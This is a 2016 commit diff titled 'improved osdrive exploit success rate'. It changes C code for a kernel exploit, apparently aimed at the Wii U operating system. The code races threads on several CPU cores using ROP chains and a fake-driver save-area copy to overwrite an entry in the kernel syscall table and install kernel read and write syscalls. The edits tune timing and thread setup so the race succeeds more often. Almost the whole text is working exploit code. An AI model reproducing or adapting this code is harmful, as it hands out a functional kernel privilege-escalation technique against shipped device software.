improved osdrive exploit success rate

This commit is contained in:
dimok789 2016-03-29 21:33:10 +02:00
parent e688b5ee91
commit 5c59b1be66

View File

@ -7,6 +7,39 @@ void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
typedef struct
{
char *drvb_name;
void *copy_payload;
void *thread0;
void *thread2;
uint32_t *rop0;
uint32_t *rop2;
void (*OSYieldThread)(void);
int32_t (*OSResumeThread)(void * thread);
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
} thread_data_container_t;
static void thread_callback(int argc, void *argv)
{
thread_data_container_t *container = (thread_data_container_t*)argv;
container->OSYieldThread();
/* Schedule both threads for execution */
container->OSResumeThread(container->thread0);
container->OSResumeThread(container->thread2);
/* Signal the CPU0 and CPU2 threads to begin */
container->rop0[0x1fc/4] = 0;
container->rop2[0x1ac/4] = 0;
container->OSYieldThread();
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
}
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
@ -37,6 +70,10 @@ void run_kexploit(private_data_t *private_data)
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
int32_t (*OSGetThreadPriority)(void *thread);
void * (*OSGetCurrentThread)(void);
void (*OSYieldThread)(void);
int (*OSIsThreadTerminated)(void *thread);
/* Exit functions */
void (*__PPCExit)();
@ -56,6 +93,10 @@ void run_kexploit(private_data_t *private_data)
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
@ -64,14 +105,16 @@ void run_kexploit(private_data_t *private_data)
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
/* Allocate a stack for the threads */
uint32_t stack0 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
uint32_t stack2 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
/* Create the threads */
void *thread0 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1);
void *thread2 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4);
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
if (ret0 == false || ret2 == false)
{
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
@ -111,7 +154,7 @@ void run_kexploit(private_data_t *private_data)
uint32_t *rop0 = (uint32_t*) stack0;
ctx0->gpr[1] = stack0 + 0x80;
ctx0->gpr[28] = 0;
ctx0->gpr[29] = CPU0_WAIT_TIME;
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
ctx0->gpr[31] = stack0 + 0x1f8;
ctx0->srr0 = sigwait_addr + 0xc;
rop0[0x94/4] = sleep_addr;
@ -153,7 +196,7 @@ void run_kexploit(private_data_t *private_data)
uint32_t *rop2 = (uint32_t*) stack2;
ctx2->gpr[1] = stack2 + 0x80;
ctx2->gpr[28] = 0;
ctx2->gpr[29] = CPU2_WAIT_TIME;
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
ctx2->gpr[31] = stack2 + 0x1a8;
ctx2->srr0 = sigwait_addr + 0xc;
rop2[0x94/4] = sleep_addr;
@ -180,9 +223,9 @@ void run_kexploit(private_data_t *private_data)
rop2[0x204/4] = 0xDEADC0DE;
/* Register driver A and driver B */
char *drva_name = OSAllocFromSystem(8, 4);
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drva_name, "DRVA", 5);
char *drvb_name = OSAllocFromSystem(8, 4);
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
memcpy(drvb_name, "DRVB", 5);
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
if (status != 0)
@ -194,7 +237,6 @@ void run_kexploit(private_data_t *private_data)
}
/* Generate the copy payload, which writes to syscall_table[0x34] */
uint32_t testval = 0xDEADBEEF;
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
if (!copy_payload)
{
@ -207,37 +249,65 @@ void run_kexploit(private_data_t *private_data)
copy_payload[0xfb4/4] = 0x44525648;
copy_payload[0xfb8/4] = 0x41580000;
copy_payload[0xff4/4] = PFID_BROWSER;
copy_payload[0xff8/4] = /*&testval*/KERN_SYSCALL_TBL + (0x34 * 4);
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
DCFlushRange(copy_payload, 0x1000);
DCInvalidateRange(copy_payload, 0x1000);
/* Schedule both threads for execution */
OSResumeThread(thread0);
OSResumeThread(thread2);
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
drvhax_name[7] = 0;
memcpy(drvhax_name, "DRVHAX", 7);
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
syscalls[0] = KERN_CODE_READ;
syscalls[1] = KERN_CODE_WRITE;
/* Do a dummy copy to put CopyToSaveArea() in our cache */
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
thread_data_container_t container;
container.drvb_name = drvb_name;
container.copy_payload = copy_payload;
container.rop0 = rop0;
container.rop2 = rop2;
container.thread0 = thread0;
container.thread2 = thread2;
container.OSResumeThread = OSResumeThread;
container.OSYieldThread = OSYieldThread;
container.CopyToSaveArea = CopyToSaveArea;
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
OSYieldThread();
/* Schedule both threads for execution */
//OSResumeThread(thread0);
//OSResumeThread(thread2);
OSResumeThread(thread1);
/* Signal the CPU0 and CPU2 threads to begin */
rop2[0x1ac/4] = 0;
rop0[0x1fc/4] = 0;
//rop2[0x1ac/4] = 0;
//rop0[0x1fc/4] = 0;
/* Start copying the payload into driver B's save area */
CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
/* Wait for a while, which somehow helps things */
int i = 0, ctr = 0;
for (i = 0; i < 300000000; i++)
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
while(OSIsThreadTerminated(thread1) == 0)
{
ctr++;
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
OSYieldThread();
}
/* Use DRVHAX to install the read and write syscalls */
char *drvhax_name = OSAllocFromSystem(8, 4);
memcpy(drvhax_name, "DRVHAX", 7);
uint32_t *syscalls = OSAllocFromSystem(8, 4);
syscalls[0] = KERN_CODE_READ;
syscalls[1] = KERN_CODE_WRITE;
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
/* Verify that the syscalls were installed */
@ -373,6 +443,7 @@ void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
int i;
for(i=0;i<2;i++)
{
fillScreen(coreinit_handle, 0,0,0,0);
drawString(coreinit_handle, 0,pos,buf);
flipBuffers(coreinit_handle);
}